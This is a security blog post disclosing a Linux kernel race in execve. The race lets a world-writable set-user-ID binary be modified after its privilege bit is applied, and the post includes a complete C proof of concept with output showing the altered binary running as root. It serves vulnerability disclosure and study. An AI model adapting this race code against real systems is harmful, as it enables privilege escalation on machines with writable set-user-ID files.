ElBlo

Bugs that no one cares about: writing to set-user-ID files.

Since commit 2a010c41285345da60cece35575b4e0af7e7bf44, the Linux Kernel has a bug that makes set-user-ID binaries a bit less safe.

According to the chmod man page, when a set-user-ID file is modified, it loses its set-user-ID bit (if the process doesn’t have the CAP_FSETID capability).

The problem is that you can modify the file in the middle of an execve. This could happen before the binary is loaded, but after the set-user-ID bit is checked and applied.

It would be extremely rare to encounter a set-user-ID file that is writable by an attacker, so this bug is not really that interesting.

What is set-user-ID anyways?

When you execute a program, typically, it executes with the same credentials as the user who executed it (let’s leave capabilities out of this post). However if a binary has the set-user-ID bit set, and you execute it, your effective user ID becomes the same as the owner of the file.

This allows you to have a few binaries to perform certain tasks that otherwise would require being administrator. For example passwd to change your own login password.

Proof of Concept

(tested at commit: 5189dafa4cf950e675f02ee04b577dfbbad0d9b1 )

Consider the following C program:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
  if (geteuid() == 0) {
    fprintf(stderr, "[#] I am root\n");
  }
  return 0;
}

Named checker.c, owned by root:root with permissions 04777. This means that the file is set-user-ID but is also world-writable.

This program prints [#] I am root if it is executed as the root user.

Now, consider a program running as root that spawns two processes. One process would change user id and execute the checker program, while the other process would write to the file, modifying the string that the program prints. After both processes finish, the main program would “reset” the file, setting it as set-user-ID and writing back the original string.

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

const char* file_path = "./checker";

void drop_privs() {
  if (setgroups(0, NULL) == -1) {
    err(EXIT_FAILURE, "setgroups");
  }

  if (setresgid(65000, 65000, 65000) == -1) {
    err(EXIT_FAILURE, "setresgid");
  }

  if (setresuid(65000, 65000, 65000) == -1) {
    err(EXIT_FAILURE, "setresuid");
  }
}

void overwrite_file(size_t offset) {
  drop_privs();

  int fd;
  do {
    fd = open(file_path, O_WRONLY);
  } while (fd == -1 && errno == ETXTBSY);

  if (fd == -1) {
    err(EXIT_FAILURE, "open rewrite");
  }

  lseek(fd, offset, SEEK_SET);

  char c = 'm';
  if (write(fd, &c, 1) != 1) {
    err(EXIT_FAILURE, "write remove set-user-ID");
  }

  close(fd);
  exit(EXIT_SUCCESS);
}

void check(void) {
  drop_privs();

  char* argv[] = {file_path, NULL};
  char* envp[] = {NULL};

  int res;
  do {
    res = execve(argv[0], argv, envp);
  } while (res == -1 && errno == ETXTBSY);
  err(EXIT_FAILURE, "execve");
}

size_t find_offset(void) {
  // Look for the offset of a string to modify.
  int fd = open(file_path, O_RDONLY);
  if (fd == -1) {
    err(EXIT_FAILURE, "open");
  }

  const off_t size = lseek(fd, 0, SEEK_END);
  if (size == -1) {
    err(EXIT_FAILURE, "lseek");
  }

  lseek(fd, 0, SEEK_SET);

  void* data = mmap(NULL, size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (data == MAP_FAILED) {
    err(EXIT_FAILURE, "mmap");
  }
  close(fd);

  // Look for "[#] I am root"
  char* needle = "[#] I am ";
  const size_t needle_size = strlen(needle);
  void* target_addr = memmem(data, size, needle, needle_size);
  if (target_addr == NULL) {
    fprintf(stderr, "[!] Failed to find string in program\n");
    exit(EXIT_FAILURE);
  }
  munmap(data, size);
  return (size_t)(((uintptr_t)target_addr) - ((uintptr_t)data) + needle_size);
}

int main(void) {
  if (geteuid() != 0) {
    fprintf(stderr, "[!] Need to be run as root\n");
    exit(EXIT_FAILURE);
  }

  const size_t offset = find_offset();

  for (size_t i = 0; i < 1000000; i++) {
    pid_t checker_pid = fork();
    if (checker_pid == -1) {
      err(EXIT_FAILURE, "fork");
    }

    if (checker_pid == 0) {
      check();
      __builtin_unreachable();
    }

    pid_t writer_pid = fork();
    if (writer_pid == -1) {
      err(EXIT_FAILURE, "fork");
    }

    if (writer_pid == 0) {
      overwrite_file(offset);
      __builtin_unreachable();
    }

    // Wait for both processes to end
    int status;
    waitpid(writer_pid, &status, 0);
    if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
      fprintf(stderr, "[!] Writer Process Failed\n");
      exit(EXIT_FAILURE);
    }

    waitpid(checker_pid, &status, 0);
    if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
      fprintf(stderr, "[!] Checker Process Failed\n");
      exit(EXIT_FAILURE);
    }

    // Reset the file contents.
    int fd = open(file_path, O_WRONLY);
    if (fd == -1) {
      err(EXIT_FAILURE, "open for reset");
    }

    char c = 'r';
    lseek(fd, offset, SEEK_SET);
    if (write(fd, &c, 1) != 1) {
      err(EXIT_FAILURE, "write reset");
    }
    close(fd);

    if (chmod("./checker", S_ISUID | S_IRWXO | S_IRWXU | S_IRWXG) == -1) {
      err(EXIT_FAILURE, "chmod");
    }
  }
  return 0;
}

Compiling this program as writer, and ran as root, we can see:

# ./writer
[#] I am moot
[#] I am moot
[#] I am moot
[#] I am moot
[#] I am moot
[#] I am root
[#] I am moot
[#] I am moot

The process that executes checker is not root: it has executed setresuid before to change its effective, real and saved set-user-ID. By executing ./checker, it should only see the printout if the checker binary was set-user-ID root.

Given that the writer process called setresuid transitioning from root to another uid, it has dropped the CAP_FSETID capability. This means that writing to the file should cause it to drop the set-user-ID bit.

As we can see in the printout, most of the time, we end up executing the modified binary with elevated privileges.

Note that reverting the commit seems to fix the issue.

Report

I reported this to security@kernel.org, and the execve maintainers are aware of the bug. I think it’s such a rare scenario that nobody cares too much about it.

© Marco Vanotti 2024

Powered by Hugo & new.css.